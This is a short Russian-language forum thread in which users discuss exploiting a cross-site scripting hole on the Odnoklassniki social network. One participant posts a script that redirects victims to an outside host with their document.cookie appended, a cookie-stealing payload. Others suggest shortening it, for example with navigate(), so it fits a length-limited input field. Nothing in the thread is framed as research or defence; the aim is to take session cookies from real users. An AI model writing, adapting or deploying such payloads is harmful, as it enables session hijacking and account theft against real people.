Итак наверно всем известно что на одноклассниках есть xss
 

но вот что делать если не помещается мой скрипт в отведенное мне поле?

мы экстрасенсы ? хсс в студию

<script>document.location='http://s.netsec.ru/andreya87.gif'+document.cookie</script>

это как я понял твой скрипт, попробуй сделать переадресацию с другого сайта, что бы использовалось меньше символов в урл.

например? всё равно не уместится...

А сколько символов ограничение? Вместо "document.location=", можно navigate('') попробовать. Короче получится.

умещается только <script>document.location='http://s.netsec.ru/andr

<script>navigate('http://s.netsec.ru/andreya87.gif и усё :cool:

как то можно обойти это ограничение, только я зобыл как, нужно кеша спросить

мммм жаль....